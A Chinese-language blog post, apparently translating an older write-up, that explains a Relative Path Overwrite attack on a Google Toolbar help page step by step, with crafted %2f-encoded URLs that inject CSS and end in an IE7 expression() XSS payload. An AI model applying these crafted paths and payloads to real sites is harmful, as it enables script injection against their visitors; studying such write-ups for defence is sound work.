一篇RPO漏洞挖掘文章翻譯加深理解。


    這是我第一次嘗試翻譯一篇漏洞挖掘文章,翻譯它也是為了加深理解它。這是一篇很有意思的漏洞挖掘文章。

  前幾天在看fd的博客,偶然看到了這篇文章,雖然有點老了。但是思路真的牛皮。我決定花費時間和精力研究它們。我決定運用我對這個漏洞的理解來講述他們。

  存在漏洞網站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

  查看源代碼

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
......

首先我們不管有沒有rpo漏洞吧,先看最基礎的,代碼是不符合規范的

當我在sublime中輸入<htm然后自動補全

代碼的開頭會有<!DOCTYPE html>

 

 

了解這個很重要,我們繼續往下說。

    rpo呢,簡單點來說就是相對路徑覆蓋 ,源碼中引用了相對路徑css文件。

    那么我們要做的就是覆蓋這個css文件,導致css攻擊釣魚 or css-xss攻擊?

    現在我們知道,這算符合rpo攻擊的一些條件的 1.沒doctype  2.包含相對路徑

  下一步我們要做什么?

  進行驗證,他是否支持%2f,看看他是如何解析的:

  嘗試修改網站為:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

  當我們再次訪問

    我們發現頁面正常訪問,唯一的缺陷就是css失效了,它並沒有顯示404

 

 

 

  為什么會css樣式會失效?

  讓我們深入理解他們:

   網址輸入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    服務器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

 

    瀏覽器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css樣式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    沒把/改成%2f之前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    css樣式表:http://www.google.com/tools/toolbar/style.css

    當把/改成%2f之后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css樣式表:http://www.google.com/tools/style.css

    這樣會導致style.css不存在,所以無法加載css樣式表。導致這種問題是因為apis%2fhowto_guide.html被認為是一個文件,而不是被認為是apisapis/howto_guide.html一個目錄

    

    現在瀏覽器認為我們的目錄是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis

    我們繼續往前探測,我們發現它影響/tools/toolbar/buttons/*style.css ,可以覆蓋他們,但是這范圍太小了。

    我們嘗試創建個fake目錄和..%2ftoolbar

     當輸入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    服務器理解:因為fake和..%2ftoolbar目錄不存在,所以被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    瀏覽器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    css樣式表:http://www.google.com/tools/fake/style.css

  在這里我們添加了fake 和..%2ftoolbar虛假目錄,這樣瀏覽器認為fake和..%2ftoolbar都是目錄,因為他們中間都有/*/,而%2f被理解成了文件。

    經過實驗證明,理論上我們可以css覆蓋http://www.google.com/*/style.css ,但是我們再次往上層編碼,發現這是不行的,會出錯。所以css覆蓋止步於:http://www.google.com/tools/*/style.css

    現在我們需要個契機,導致它能css覆蓋成功。 我們在http://www.google.com/tools/*尋找某個自定義內容的點,希望通過它能夠css覆蓋成功。

      我們發現某個接口http://www.google.com/tools/toolbar/buttons/gallery

    當我們訪問這個接口的時候會跳轉到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1

    這個跳轉鏈接處有個q參數搜索,那么我們在接口處http://www.google.com/tools/toolbar/buttons/gallery?q=1

    會進行二次跳轉,跳轉到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1

    那么我們嘗試覆蓋css

      在原來接口處http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}

      他會跳轉到:  

      http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

      讓我們查看源代碼:  

      

 

 

css代碼成功植入,雖然他不在style樣式表中。

    為什么只能使用接口而不能使用跳轉鏈接進行攻擊?因為我們的css覆蓋止步於:http://www.google.com/tools/*/style.css

    而我們的跳轉接口在/tools/*下。

      現在我們來利用它:

    構造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     服務器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html

     瀏覽器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     css樣式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

     然后進行二次跳轉:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

     

 

 

 

發現背景顏色變成了紅色。我們css覆蓋成功。 

  現在我們把改變顏色的代碼變成xss攻擊代碼:ie7下執行

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/

    

 

 

 

    

 就翻譯到這里吧。

關於rpo攻擊css地址的payload哪里來的?參考:http://www.thespanner.co.uk/2014/03/21/rpo/

這個人是作者

RPO攻擊真的是一種被大部分人忽略的攻擊,個人覺得危害很大,其實大家可以舉一反三,它不僅僅會影響相對路徑css覆蓋,甚至他也能導致相對路徑js覆蓋劫持。我准備下一篇文章翻譯他們。敬請期待。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM